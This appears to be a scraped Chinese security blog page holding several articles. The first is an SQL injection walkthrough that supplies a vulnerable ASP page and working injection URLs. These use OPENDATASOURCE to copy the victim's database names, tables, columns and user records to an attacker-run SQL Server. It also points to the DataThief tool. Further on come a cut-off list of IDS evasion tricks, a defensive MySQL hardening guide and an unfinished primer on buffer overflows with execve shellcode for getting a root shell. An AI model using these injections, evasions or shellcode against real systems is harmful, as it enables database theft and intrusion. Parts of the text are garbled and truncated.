在SQL联机从书的解释中,对没有定义为链接服务器名称的 OLE DB 数据源执行不常用查询时,使用特殊名称。在 SQL Server 2000 中,OPENROWSET 和 OPENDATASOURCE 函数提供了连接信息,借以从 OLE DB 数据源访问数据。OPENROWSET 和 OPENDATASOURCE 只应在引用不常访问的 OLE DB 数据源时使用。对于需要经常访问的数据源,应定义链接服务器。无论 OPENDATASOURCE 还是 OPENROWSET 都不能提供链接服务器定义的全部功能,包括安全管理和查询目录信息的能力。每次调用这些函数时,都必须提供所有的连接信息(包括密码)。OPENROWSET 和 OPENDATASOURCE 看起来象函数,但其实是宏并且不支持将 Transact-SQL 变量提供为参数。
简单来讲,这两个宏也就是不依靠链接服务器来进行分布式查循。
因为用openrowset函数来直接获取注入数据库的信息的工具已经有了,我就不做详细介绍了,在文章尾我会介绍此工具的用法的,我这里着重来介绍一下opendatasource的使用。联机从书对OPENDATASOURCE宏的用法示例格式如下:

SELECT *
FROM OPENDATASOURCE(
‘SQLOLEDB’,
‘Data Source=ServerName;User ID=MyUID;Password=MyPass’
).Northwind.dbo.Categories

想到了没有,我们完全可以用此语句获得注入数据库的库名、表名、列名、字段值的所有信息。如果你还是不明白,那就来看我表演。
我在192.168.8.10这台服务器上构建了一个测试环境,写了一个有漏洞的ASP代码。两段代码中的e.asp代码如下:

<form action=f.asp method=get>
帐号lcx<br>
密码<input type=text size=100 name=password>
<input type=submit value=submit>
</form>

效果如图1所示:

f.asp代码如下:

<%
strSQLServerName = “127.0.0.1″
strSQLDBUserName = “sa”
strSQLDBPassword = “lcx”
strSQLDBName = “bbsuser”
Set conn = Server.CreateObject(“ADODB.Connection”)
strCon = “Provider=SQLOLEDB.1;Persist Security Info=False;Server=” & strSQLServerName & “;User ID=” & strSQLDBUserName & “;Password=” & strSQLDBPassword & “;Database=” & strSQLDBName & “;”
conn.open strCon
sql2=”select * from bbsuser where username=’admin’ and password=’”&request(“password”)&”‘”
set rs2=conn.execute(sql2)
%>
<br>
<%=” 执行的SQL语句是”&sql2%>
<%
rs2.close
set rs2=nothing
conn.close
set conn=nothing
%>

当在图1中的文本框提交1’and db_name()>0—的时候,效果如图2所示:

OK,测试环境构建完毕。我又在另一台服务器192.168.8.20装了一个sqlserver,sa的密码是lcx。因为opendatasource宏走得是TCP协议,所以你要保证192.168.8.20的1433端口 一定要被192.168.8.10访问到。Sqlserver sp2版本如果默认装在xp sp2下的话1433端口不会被外界访问到的,这一点你要注意,建议打上SQL的SP3补丁。
第一步:得到当前所有库名
我们先在192.168.8.20上建库名和表名,你如果在企业管理器图形界面下安装我也不反对,我是直接的查循分析器写的语句:

create database lcx
CREATE TABLE ku(name nvarchar(256) null);
CREATE TABLE biao(id int NULL,name nvarchar(256) null);

这样我们就建好了一个库名是lcx,有两个表分别是ku和biao。Ku这个表存放了一个列名是name,类型是nvarchar(256);biao这个表存放了两个列名,分别是int型的id和nvarchar(256)型的name列名。这里的库名、表名、列名的名字都是随便定的,你只要保证类型对就可以了。
我们先来温习一下得到所有库名的SQL语句,代码是select name from master.dbo.sysdatabases。如果你现在还不懂这句代码的话,可要恶补一下了。我们用一条语句得到192.168.8.10服务器上的所有数据库名。

insert into opendatasource(‘sqloledb’,'server=192.168.8.20;uid=sa;pwd=lcx;database=lcx’).lcx.dbo.biao select name from master.dbo.sysdatabases–
在我们的测试环境上就是:
http://192.168.8.10/web/f.asp?password=1‘insert into opendatasource(‘sqloledb’,'server=192.168.8.20;uid=sa;pwd=lcx;database=lcx’).lcx.dbo.ku select name from master.dbo.sysdatabases—

效果如图3所示:

此时你跑去192.168.8.20的SQL上看一下KU这个表,你会惊奇发现对方所有的库名已经整齐的排好了,图4。

说到这里很多人可能又要担心权限问题了,我可以放心的告诉你,在public权限下也可以用opendatasource这个宏的。那么得到所有的库了,你怎么才能知那个是当前库呢?哈,你把语句换一下不就得了,换成

insert into opendatasource(‘sqloledb’,'server=192.168.8.20;uid=sa;pwd=lcx;database=lcx’).lcx.dbo.ku select db_name(0)–

不就可以了吗?在图4中,bbsuser是我们的注入的当前库,我们来获得当前库的所有表名。

第二步:得到当前库的所有表名
语句为:

insert into opendatasource(‘sqloledb’,'server=192.168.8.20;uid=sa;pwd=lcx;database=lcx’).lcx.dbo.biao select [id],[name] from sysobjects where xtype=’U'–

这个语句省略了当前库名,得到就是当前库的所有表名。你也可以把语句换成:

insert into opendatasource(‘sqloledb’,'server=192.168.8.20;uid=sa;pwd=lcx;database=lcx’).lcx.dbo.biao select [id],[name] from bbsuser.dbo.sysobjects where xtype=’U'–

我们来做下测试,语句效果图如图5所示:

此时,我们再跑到192.168.8.20去看lcx.dbo.biao这里的数据,你会看到什么?图6

是不是我们已经获取了当前库的所有表名呢?好学的你肯定又要问了,那么我如何获得其它库的所有表名呢?很简单呀,基本语句格式如下:

insert into opendatasource(‘sqloledb’,'server=192.168.8.20;uid=sa;pwd=lcx;database=lcx’).lcx.dbo.biao select [id],[name] from 库名.dbo.sysobjects where xtype=’U'–

这里的库名我们在第一大步已经猜出来了。

第三步:获取列名
在图6中看没有看到,我们获得的第一个列名是bbsuser,其ID值是357576312.。有了这两条信息,我们来获取列名吧。在获取列名之前,我们要在192.168.8.20上先做一步工作,复制一个系统表结构。在我先前建好的lcx库中执行语句:

select * into [tmpcolumns] from syscolumns where 1=2

这样会把系统表syscolumns的结构复制给[tmpcolumns]。做法示例图7。

我们来获取bbsuser这个表的所有列名,因为ID值是357576312,所以我们的语句是:

insert into opendatasource(‘sqloledb’,'server=192.168.8.20;uid=sa;pwd=lcx;database=lcx’).lcx.dbo.tmpcolumns select * from
syscolumns where id=357576312–

注入效果如图9所示:

再回到192.168.8.20上来看一下lcx.dbo.tmpcolum这个表,里边是什么内容(图10):

看到了吧?得到了bbsuser的所有列名,还有列名的一些其它信息。这里的其它信息也是有用的,给我们下一步获得字段值的工作做好了准备。这里我只解释图10中的两个列名的意思。其中length是你获取的列名的长度,xtype是你获取的列名的类型。也许你要问了,为什么获取的类型怎么都是56、175这样的数字呢? 我查了一些资料,找到了数字与类型对应的关系,关系表如下:

when 34 then ”image”
when 35 then ”text”
when 52 then ”smallint”
when 56 then ‘int”
when 61 then ”datetime”
when 62 then ”float”
when 108 then ”numeric”
when 167 then ”varchar”
when 175 then ”char”
when 231 then ”nvarchar”

第四步:获取字段值
有了注入数据库的当前库名、表名、列名的所有信息后,我们就可以获取这段值了。我们先在192.168.8.20上根据在图10中获得的信息在lcx这个库来建一个新表bbsuser,列名分别是id(int类型长度是4)、username(char类型长度是10)、password(char类型长度是10)。如果你不明白这步,你仔细看一下图10和那个数字与类型的对照表。我在192.168.8.20的企业管理器上已经建好了,如图11所示:

获取注入数据库当前库所有信息的工作就要一步到位了,注入语句如下:

insert into opendatasource(‘sqloledb’,'server=192.168.8.20;uid=sa;pwd=lcx;database=lcx’).lcx.dbo.bbsuser select * from [bbsuser] –

在注入点上执行就是:

http://192.168.8.10/web/f.asp?password=1‘insert into opendatasource(‘sqloledb’,'server=192.168.8.20;uid=sa;pwd=lcx;database=lcx’).lcx.dbo.bbsuser select * from [bbsuser] –

示例是图12

我们来看一下终竟成没有成功,赶快到192.168.8.20上的lcx.dbo.bbsuser上去抓个图,自然是成功了的,图13

这样我们一步一步地把注入点的当前库所有的信息全部搬到我们本地来了。最后一步我要说明的是你获取字段值的时候,建的表名、列名不一定要与注入库的完全一样,只要类型相符就可以了。
可能你说我的方法虽然不错,但毕竟没有工具爽。不过,我这里我要告诉你,目前我还没有见到用opendatasource来获取注入信息的工具,倒是用openrowset来获取注入信息的工具我已经找到了。下边我就来简单介绍一下它的用法。

第五步:openrowset工具用法介绍
工具是老外写的,名字是DataThiefV1.0.exe,好像在安全焦点上有下的。软件运行界面如图14所示:

像我要注入我构建的环境 http://192.168.8.10/web/f.asp?password=1 ,我的用法如图15所示:

这里做下简要说明。如果你注入的是字符型的话,在URL地址里要写 http://192.168.8.10/web/f.asp?password=1&#39;; <***> 这样的格式,要带单引号。如果是数字型的话,就要写成了http://192.168.8.10/web/f.asp?password=1; <***> 去掉单引号了。
点go,获取信息的速度真是飞快呀(图16)。

如果你对openrowset这个宏不了解的话,你自己抓包分析吧,我就不再罗索了。
最后希望这篇文章对大家实现注入的方法多一种思路和启发,在这篇文章的基础上来进一步探索opendatasource和openrowset的用法。
2005 年4月7号

 

Share

SQL Injection规避入侵检测技术总结

2011年5月24日 Icedroid 没有评论

信息来源:天马行空技术小组

《SQL Injection规避入侵检测技术总结》

当我们对一个运行IDS系统的服务器进行SQL注射时,我们往往会遇到很大的麻烦,因为我们的注射语句被过滤了,如何规避这种检测手段就成了一门新的技术,本文就对此规避技术提出十一条思路和方法,与大家商戳。
一、 运用编码技术绕过,如URLEncode编码,ASCII编码绕过。
如or 1=1即%6f%72%20%31%3d%31
Test即CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
二、 通过空格绕过,如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or’swords’=‘sword…

 

Share

MySQL数据库安全配置指南

2011年5月24日 Icedroid 没有评论

1、前言


MySQL是完全网络化的跨平台关系型数据库系统,同时是具有客户机/服务器体系结构的分布式数据库管理系统。它具有功能强、使用简便、管理方便、运行速度快、安全可靠性强等优点,用户可利用许多语言编写访问MySQL数据库的程序,特别是与PHP更是黄金组合,运用十分广泛。

由于MySQL是多平台的数据库,它的默认配置要考虑各种情况下都能适用,所以在我们自己的使用环境下应该进行进一步的安全加固。作为一个MySQL的系统管理员,我们有责任维护MySQL数据库系统的数据安全性和完整性。

MySQL数据库的安全配置必须从两个方面入手,系统内部安全和外部网络安全,另外我们还将简单介绍编程时要注意的一些问题以及一些小窍门。

2、系统内部安全

首先简单介绍一下MySQL数据库目录结构。MySQL安装好,运行了mysql_db_install脚本以后就会建立数据目录和初始化数据库。如果我们用MySQL源码包安装,而且安装目录是/usr/local/mysql,那么数据目录一般会是/usr/local/mysql/var。数据库系统由一系列数据库组成,每个数据库包含一系列数据库表。MySQL是用数据库名在数据目录建立建立一个数据库目录,各数据库表分别以数据库表名作为文件名,扩展名分别为MYD、MYI、frm的三个文件放到数据库目录中。

MySQL的授权表给数据库的访问提供了灵活的权限控制,但是如果本地用户拥有对库文件的读权限的话,攻击者只需把数据库目录打包拷走,然后拷到自己本机的数据目录下就能访问窃取的数据库。所以MySQL所在的主机的安全性是最首要的问题,如果主机不安全,被攻击者控制,那么MySQL的安全性也无从谈起。其次就是数据目录和数据文件的安全性,也就是权限设置问题。

从MySQL主站一些老的binary发行版来看,3.21.xx版本中数据目录的属性是775,这样非常危险,任何本地用户都可以读数据目录,所以数据库文件很不安全。3.22.xx版本中数据目录的属性是770,这种属性也有些危险,本地的同组用户既能读也能写,所以数据文件也不安全。3.23.xx版本数据目录的属性是700,这样就比较好,只有启动数据库的用户可以读写数据库文件,保证了本地数据文件的安全。

如果启动MySQL数据库的用户是mysql,那么象如下的目录和文件的是安全的,请注意数据目录及下面的属性:

shell>ls -l /usr/local/mysql

total 40

drwxrwxr-x 2 root root 4096 Feb 27 20:07 bin

drwxrwxr-x 3 root root 4096 Feb 27 20:07 include

drwxrwxr-x 2 root root 4096 Feb 27 20:07 info

drwxrwxr-x 3 root root 4096 Feb 27 20:07 lib

drwxrwxr-x 2 root root 4096 Feb 27 20:07 libexec

drwxrwxr-x 3 root root 4096 Feb 27 20:07 man

drwxrwxr-x 6 root root 4096 Feb 27 20:07 mysql-test

drwxrwxr-x 3 root root 4096 Feb 27 20:07 share

drwxrwxr-x 7 root root 4096 Feb 27 20:07 sql-bench

drwx—— 4 mysql mysql 4096 Feb 27 20:07 var

shell>ls -l /usr/local/mysql/var

total 8

drwx—— 2 mysql mysql 4096 Feb 27 20:08 mysql

drwx—— 2 mysql mysql 4096 Feb 27 20:08 test

shell>ls -l /usr/local/mysql/var/mysql

total 104

-rw——- 1 mysql mysql 0 Feb 27 20:08 columns_priv.MYD

-rw——- 1 mysql mysql 1024 Feb 27 20:08 columns_priv.MYI

-rw——- 1 mysql mysql 8778 Feb 27 20:08 columns_priv.frm

-rw——- 1 mysql mysql 302 Feb 27 20:08 db.MYD

-rw——- 1 mysql mysql 3072 Feb 27 20:08 db.MYI

-rw——- 1 mysql mysql 8982 Feb 27 20:08 db.frm

-rw——- 1 mysql mysql 0 Feb 27 20:08 func.MYD

-rw——- 1 mysql mysql 1024 Feb 27 20:08 func.MYI

-rw——- 1 mysql mysql 8641 Feb 27 20:08 func.frm

-rw——- 1 mysql mysql 0 Feb 27 20:08 host.MYD

-rw——- 1 mysql mysql 1024 Feb 27 20:08 host.MYI

-rw——- 1 mysql mysql 8958 Feb 27 20:08 host.frm

-rw——- 1 mysql mysql 0 Feb 27 20:08 tables_priv.MYD

-rw——- 1 mysql mysql 1024 Feb 27 20:08 tables_priv.MYI

-rw——- 1 mysql mysql 8877 Feb 27 20:08 tables_priv.frm

-rw——- 1 mysql mysql 428 Feb 27 20:08 user.MYD

-rw——- 1 mysql mysql 2048 Feb 27 20:08 user.MYI

-rw——- 1 mysql mysql 9148 Feb 27 20:08 user.frm

如果这些文件的属主及属性不是这样,请用以下两个命令修正之:

shell>chown -R mysql.mysql /usr/local/mysql/var

shell>chmod -R go-rwx /usr/local/mysql/var

用root用户启动远程服务一直是安全大忌,因为如果服务程序出现问题,远程攻击者极有可能获得主机的完全控制权。MySQL从3.23.15版本开始时作了小小的改动,默认安装后服务要用mysql用户来启动,不允许root用户启动。如果非要用root用户来启动,必须加上–user=root的参数(./safe_mysqld –user=root &)。因为MySQL中有LOAD DATA INFILE和Select … INTO OUTFILE的SQL语句,如果是root用户启动了MySQL服务器,那么,数据库用户就拥有了root用户的写权限。不过MySQL还是做了一些限制的,比如LOAD DATA INFILE只能读全局可读的文件,Select … INTO OUTFILE不能覆盖已经存在的文件。

本地的日志文件也不能忽视,包括shell的日志和MySQL自己的日志。有些用户在本地登陆或备份数据库的时候为了图方便,有时会在命令行参数里直接带了数据库的密码,如:

shell>/usr/local/mysql/bin/mysqldump -uroot -ptest test>test.sql

shell>/usr/local/mysql/bin/mysql -uroot -ptest

这些命令会被shell记录在历史文件里,比如bash会写入用户目录的.bash_history文件,如果这些文件不慎被读,那么数据库的密码就会泄漏。用户登陆数据库后执行的SQL命令也会被MySQL记录在用户目录的.mysql_history文件里。如果数据库用户用SQL语句修改了数据库密码,也会因.mysql_history文件而泄漏。所以我们在shell登陆及备份的时候不要在-p后直接加密码,而是在提示后再输入数据库密码。

另外这两个文件我们也应该不让它记录我们的操作,以防万一。

shell>rm .bash_history .mysql_history

shell>ln -s /dev/null .bash_history

shell>ln -s /dev/null .mysql_history

上门这两条命令把这两个文件链接到/dev/null,那么我们的操作就不会被记录到这两个文件里了。
3、外部网络安全

MySQL数据库安装好以后,Unix平台的user表是这样的:

mysql> use mysql;

Database changed

mysql> select Host,User,Password,Select_priv,Grant_priv from user;

 

图1

4 rows in set (0.00 sec)

Windows平台的user表是这样的:

mysql> use mysql;

Database changed

mysql> select Host,User,Password,Select_priv,Grant_priv from user;

图2

4 rows in set (0.00 sec)

我们先来看Unix平台的user表。其中redhat只是我试验机的机器名,所以实际上Unix平台的MySQL默认只允许本机才能连接数据库。但是缺省root用户口令是空,所以当务之急是给root用户加上口令。给数据库用户加口令有三种方法:

1)在shell提示符下用mysqladmin命令来改root用户口令:

shell>mysqladmin -uroot password test

这样,MySQL数据库root用户的口令就被改成test了。(test只是举例,我们实际使用的口令一定不能使用这种易猜的弱口令)

2)用set password修改口令:

mysql> set password for root@localhost=password(‘test’);

这时root用户的口令就被改成test了。

3)直接修改user表的root用户口令:

mysql> use mysql;

mysql> update user set password=password(‘test’) where user=’root’;

mysql> flush privileges;

这样,MySQL数据库root用户的口令也被改成test了。其中最后一句命令flush privileges的意思是强制刷新内存授权表,否则用的还是缓冲中的口令,这时非法用户还可以用root用户及空口令登陆,直到重启MySQL服务器。

我们还看到user为空的匿名用户,虽然它在Unix平台下没什么权限,但为了安全起见我们应该删除它:

mysql> delete from user where user=”;

Windows版本MySQL的user表有很大不同,我们看到Host字段除了localhost还有是%。这里%的意思是允许任意的主机连接MySQL服务器,这是非常不安全的,给攻击者造成可乘之机,我们必须删除Host字段为%的记录:

mysql>delete from user where host=’%';

默认root用户的空密码也是必须修改,三种修改方法和Unix平台一样。

我们注意到Host字段为localhost的匿名用户拥有所有的权限!就是说本地用户用空的用户名和空的口令登陆MySQL数据库服务器可以得到最高的权限!所以匿名用户必须删除!

mysql> delete from user where user=”;

对user表操作以后不要忘了用flush privileges来强制刷新内存授权表,这样才能生效。

默认安装的Windows版MySQL存在的不安全因素太多,我们在安装后一定要进一步配置!

MySQL的5个授权表:user, db, host, tables_priv和columns_priv提供非常灵活的安全机制,从MySQL 3.22.11开始引入了两条语句GRANT和REVOKE来创建和删除用户权限,可以方便的限制哪个用户可以连接服务器,从哪里连接以及连接后可以做什么操作。作为MySQL管理员,我们必须了解授权表的意义以及如何用GRANT和REVOKE来创建用户、授权和撤权、删除用户。

在3.22.11版本以前的MySQL授权机制不完善,和新版本也有较大的不同,建议升级到最新版本的MySQL。(本书的操作例子是以MySQL 3.23.49为样本)我们先来了解授权表的结构。

1)MySQL授权表的结构与内容:

mysql> desc user;

图317 rows in set (0.01 sec)

user表是5个授权表中最重要的一个,列出可以连接服务器的用户及其加密口令,并且它指定他们有哪种全局(超级用户)权限。在user表启用的任何权限均是全局权限,并适用于所有数据库。所以我们不能给任何用户访问mysql.user表的权限!

权限说明:

图4mysql> desc db;

图513 rows in set (0.01 sec)

db表列出数据库,而用户有权限访问它们。在这里指定的权限适用于一个数据库中的所有表。

mysql> desc host;

图612 rows in set (0.01 sec)

host表与db表结合使用在一个较好层次上控制特定主机对数据库的访问权限,这可能比单独使用db好些。这个表不受GRANT和REVOKE语句的影响,所以,你可能发觉你根本不是用它。

mysql> desc tables_priv;

图78 rows in set (0.01 sec)

tables_priv表指定表级权限。在这里指定的一个权限适用于一个表的所有列。

mysql> desc columns_priv;

图87 rows in set (0.00 sec)

columns_priv表指定列级权限。在这里指定的权限适用于一个表的特定列。

2)MySQL授权表运行机制

MySQL的访问控制分两个步骤:

a)服务器检查是否允许该用户连接。

b)如果该用户有权连接,那么服务器还会检查它的每一个请求是否有足够的权限。比如:用户检索数据库中的一个表需要有这个数据库的select权限,用户删除数据库中的一个表需要有这个数据库的drop权限。

授权表的user, db,host表使用这两个步骤,tables_priv和columns_priv表只使用第二步(检查请求)。每个授权表包含决定一个权限何时运用的范围列和决定授予哪种权限的权限列。

范围列指定表中的权限何时运用。每个授权表条目包含User和Host列来指定权限何时运用于一个给定用户从给定主机的连接。其他表包含附加的范围列,如db表包含一个Db列指出权限运用于哪个数据库。类似地,tables_priv和columns_priv表包含范围字段,缩小范围到一个数据库中的特定表或一个表的特定列。

下面是user表的Host字段和User字段组合的一些例子:

图9

SQL的字符串通配符%表示匹配任意字符,可以是0个字符,通配符_表示匹配一个字符。

权限列指出在范围列中指定的用户拥有何种权限。该表使用GRANT语句的权限名称。对于绝大多数在user、db和host表中的权限列的名称与GRANT语句中有明显的联系。如Select_priv对应于Select权限。

3)授权表使用举例

grant用于给增加用户和创建权限,revoke用于删除用户权限。

下面是一些用grant增加用户和创建权限的例子:

mysql> grant all privileges on *.* to test@localhost identified by ‘test’ with grant option;

这句增加一个本地具有所有权限的test用户(超级用户),密码是test。ON子句中的*.*意味着”所有数据库、所有表”。with grant option表示它具有grant权限。

mysql> grant select,insert,update,delete,create,drop privileges on test.* to test1@’192.168.1.0/255.255.255.0′ identified by ‘test’;

这句是增加了一个test1用户,口令是test,但是它只能从C类子网192.168.1连接,对test库有select,insert,update,delete,create,drop操作权限。

用grant语句创建权限是不需要再手工刷新授权表的,因为它已经自动刷新了。

给用户创建权限还可以通过直接修改授权表:

mysql> insert into user

values(“localhost”,”test”,password(“test”),”Y”,”Y”,”Y”,”Y”,”Y”,”Y”,”Y”,”Y”,”Y”,”Y”,”Y”,”Y”,”Y”,”Y”);

mysql> flush privileges;

这两句和上面第一句grant的效果是一样的,也是增加了一个本地的test超级用户。我们看到用grant方便多了,而且还不需flush privileges。

mysql> insert into user (host,user,password) values(“192.168.1.0/255.255.255.0″,”test1″,PASSWORD(“test”)); mysql> insert into db values(“192.168.1.0/255.255.255.0″,”test”,”test1″,”Y”,”Y”,”Y”,”Y”,”Y”,”Y”,”N”,”N”,”N”,”N”) mysql> flush privileges;

这三句和上面第二句grant的效果也是一样的,也是增加了一个只能从C类子网192.168.1连接,对test库有select,insert,update,delete,create,drop操作权限的test1用户,口令是test。要取消一个用户的权限,使用revoke语句。revoke的语法非常类似于grant语句,除了to用from取代并且没有identified by和with grant option子句,下面是用revoke删除用户权限的例子:

mysql> revoke all on test.* from test1@’192.168.1.0/255.255.255.0′;

这句revoke就撤消了上面第二句grant创建的权限,但是test1用户并没有被删除,必须手工从user表删除:

mysql> delete from user where user=’test1′;

mysql> flush privileges;

这样,test1用户就彻底删除了。

这些只是MySQL授权表的简单使用,更多详细的资料请见MySQL提供的手册。
4、编程需要注意的一些问题

不管是用哪种程序语言写连接MySQL数据库的程序,有一条准则是永远不要相信用户提交的数据!

对于数字字段,我们要使用查询语句:Select * FROM table Where ID=’234′,不要使用Select * FROM table Where ID=234这样的查询语句。MySQL会自动把字串转换为数字字符并且去除非数字字符。如果用户提交的数据经过了mysql_escape_string处理,这样我们就可以完全杜绝了sql inject攻击,关于sql inject攻击请参考下面链接的文章:

http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf

http://www.ngssoftware.com/papers/advanced_sql_injection.pdf

各种编程语言该注意的问题:

1)所有Web程序:

a)尝试在Web表单输入单引号和双引号来测试可能出现的错误,并找出原因所在。

b)修改URL参数带的%22 (‘”‘), %23 (‘#’), 和 %27 (”’)。

c)对于数字字段的变量,我们的应用程序必须进行严格的检查,否则是非常危险的。

d)检查用户提交的数据是否超过字段的长度。

e)不要给自己程序连接数据库的用户过多的访问权限。

2)PHP:

a)检查用户提交的数据在查询之前是否经过addslashes处理,在PHP 4.0.3以后提供了基于MySQL C

API的函数mysql_escape_string()。

3)MySQL C API:

a)检查查询字串是否用了mysql_escape_string() API调用。

4)MySQL++:

a)检查查询字串是否用了escape和quote处理。

5)Perl DBI:

a)检查查询字串是否用了quote()方法。

6)Java JDBC:

a)检查查询字串是否用了PreparedStatement对象。

5、一些小窍门

1)如果不慎忘记了MySQL的root密码,我们可以在启动MySQL服务器时加上参数–skip-grant-tables来跳过授权表的验证 (./safe_mysqld –skip-grant-tables &),这样我们就可以直接登陆MySQL服务器,然后再修改root用户的口令,重启MySQL就可以用新口令登陆了。

2)启动MySQL服务器时加上–skip-show-database使一般数据库用户不能浏览其它数据库。

3)启动MySQL服务器时加上–chroot=path参数,让mysqld守护进程运行在chroot环境中。这样SQL语句LOAD DATA INFILE和Select … INTO OUTFILE就限定在chroot_path下读写文件了。这里有一点要注意,MySQL启动后会建立一个mysql.sock文件,默认是在/tmp目录下。使用了chroot后,MySQL会在chroot_path/tmp去建立mysql.sock文件,如果没有chroot_path/tmp目录或启动MySQL的用户没有这个目录写权限就不能建立mysql.sock文件,MySQL会启动失败。比如我们加了–chroot=/usr/local/mysql/启动参数,那么最好建立一个启动MySQL的用户能写的/usr/local/mysql/tmp目录,当然我们也可以用–socket=path来指定mysql.sock文件的路径,但这个path一定要在chroot_path里面。

4)启动MySQL服务器时加上–log-slow-queries[=file]参数,这样mysqld会把SQL命令执行时间超过long_query_time的写入file文件。如果没有指定=file,mysqld默认会写到数据目录下的hostname-slow.log。如果只指定了filename,没有指定路径,那么mysqld也会把filename写到数据目录下。我们通过这个日志文件可以找出执行时间超长的查询语句,然后尽可能的优化它减轻MySQL服务器的负担。

5)如果我们只需本机使用MySQL服务,那么我们还可以加上–skip-networking启动参数使MySQL不监听任何TCP/IP连接,增加安全性。(非常推荐)

6)MySQL的更多mysqld启动选项请见MySQL手册4.16.4 mysqld Command-line Options

6、References

MySQL Manual(http://www.mysql.com/documentation/index.html)

晏子的MySQL管理员指南(http://clyan.hongnet.com/index.html)

Access Granted(http://www.devshed.com/Server_Side/MySQL/Access)

from:51CTO

 

Share
分类: Hacker 标签: , ,

溢出的基础与原理

2011年5月24日 Icedroid 没有评论

一:基础知识

计算机内存运行分配的区域分为3个
程序段区域:不允许写的
数据段区域:静态全局变量是位于数据段并且在程序开始运行的时候被加载
堆栈区域:放置程序的动态的用于计算的局部和临时变量则分配在堆栈里面和在过程调用中压入的返回地
址数据。堆栈是一个先入后出的队列。一般计算机系统堆栈的方向与内存的方向相反。压栈的xx作push= ESP-4,出栈的xx作是pop=ESP+4. 在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,接下来,就在 堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被丢失。但是不被清除。在函 数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。
在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:先压c,再压 b,最后a.在取参数的时候,
指令执行的图例:
指令区域
执行程序区
0 1 2 3
0
4
8 调用100处的函数,参数1(3位),2(10位)
C
10 0 1 2 3
100 执行处理
104
108
10C
110 返回调用 堆栈区域
0 1 2 3
如果EBP分配的空间不够xx作就是产生溢出的地方
200 保存以前的EBP4位(数据段的指针,用于可以使用局部动态
变量)现在的EBP等于当前的ESP-动态数据的大小值 ,
ESP=200
204 0C 00 00 00
此处是程序的返回地址
208 参数1,填充1位
20C 参数2填充2位
210
讲解例子WIN下的程序DEMO,演示参数导致的返回地址的变化
讲清主要4位的填充问题
另外溢出还会导致数据段的改变 3:如何利用堆栈溢出
原理可以概括为:由于字符串处理函数(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用 字符数组写越界,覆盖堆栈中的老元素的值,就可以修改返回地址。 在DEMO的例子中,这导致CPU去访问 一个不存在的指令,结果出错。事实上,我们已经完全的控制了这个程序下一步的动作。如果我们用一个 实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我们的指令。 那么有什么用呢,就算使得我们的程序可以跳转执行一些代码,如何用他来突破系统限制来获得权限呢? 二:系统权限知识
UNIX系统在运行的时候的权限检查主要是根据UID,GID,SID 三个标来检查的,主要根据SID来检查权限
SU系统调用就是SID变成SU的对象
S粘贴位使得运行程序的人具有该程序拥有者一样的权限
中断ROOT的S粘贴位的程序就可以获得超级用户的权限,SID位置没被调用返回修改回来。
VI的S粘贴位可以中断的例子 在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆栈溢出的程序相同的权限。 如果这个程序是setuid的,那么我们就可以获得root shell。 三:溢出突破权限的实现
首先要编写SHELLCODE的2进制代码作为溢出的参数进行传入:
shellcode的C程序 注意:execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的 argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为第三个参数。
我们来看以看execve的汇编代码:
0x804ce7c <__execve>: push %ebp ‘保存以前的数据段地址 0x804ce7d <__execve+1>: mov %esp,%ebp ‘使得当前数据段指向堆栈 0x804ce7f <__execve+3>: push %edi 0x804ce80 <__execve+4>: push %ebx ‘保存 0x804ce81 <__execve+5>: mov 0×8(%ebp),%edi ‘ebp+8是第一个参数”/bin/sh\0″ 0x804ce84 <__execve+8>: mov $0×0,%eax ‘清0 0x804ce89 <__execve+13>: test %eax,%eax 0x804ce8b <__execve+15>: je 0x804ce92 <__execve+22> 0x804ce8d <__execve+17>: call 0×0 0x804ce92 <__execve+22>: mov 0xc(%ebp),%ecx ‘设置NAME[0]参数,4字节对齐 0x804ce95 <__execve+25>: mov 0×10(%ebp),%edx,设置NAME[1]参数,4字节对齐 0x804ce98 <__execve+28>: push %ebx 0x804ce99 <__execve+29>: mov %edi,%ebx 0x804ce9b <__execve+31>: mov $0xb,%eax ‘设置XB号调用 0x804cea0 <__execve+36>: int $0×80 ‘调用执行 0x804cea2 <__execve+38>: pop %ebx 0x804cea3 <__execve+39>: mov %eax,%ebx 0x804cea5 <__execve+41>: cmp $0xfffff000,%ebx 0x804ceab <__execve+47>: jbe 0x804cebb <__execve+63> 0x804cead <__execve+49>: call 0×8048324 <__errno_location> 0x804ceb2 <__execve+54>: neg %ebx 0x804ceb4 <__execve+56>: mov %ebx,(%eax) 0x804ceb6 <__execve+58>: mov $0xffffffff,%ebx 0x804cebb <__execve+63>: mov %ebx,%eax 0x804cebd <__execve+65>: lea 0xfffffff8(%ebp),%esp 0x804cec0 <__execve+68>: pop %ebx 0x804cec1 <__execve+69>: pop %edi 0x804cec2 <__execve+70>: leave 0x804cec3 <__execve+71>: ret 精练的调用方法是 0x804ce92 <__execve+22>: mov 0xc(%ebp),%ecx ‘设置NAME[0]参数,4字节对齐 0x804ce95 <__execve+25>: mov 0×10(%ebp),%edx,设置NAME[1]参数,4字节对齐 0x804ce9b <__execve+31>: mov $0xb,%eax ‘设置XB号调用 0x804cea0 <__execve+36>: int $0×80 ‘调用执行 另外要执行一个exit()系统调用,结束shellcode的执行。 0x804ce60 <_exit>: mov %ebx,%edx 0x804ce62 <_exit+2>: mov 0×4(%esp,1),%ebx 设置参数0 0x804ce66 <_exit+6>: mov $0×1,%eax ‘1号调用 0x804ce6b <_exit+11>: int $0×80 0x804ce6d <_exit+13>: mov %edx,%ebx 0x804ce6f <_exit+15>: cmp $0xfffff001,%eax 0x804ce74 <_exit+20>: jae 0x804d260 <__syscall_error> 那么总结一下,合成的汇编代码为: mov 0xc(%ebp),%ecx
mov 0×10(%ebp),%edx
mov $0xb,%eax
int $0×80
mov 0×4(%esp,1),%ebx
mov $0×1,%eax
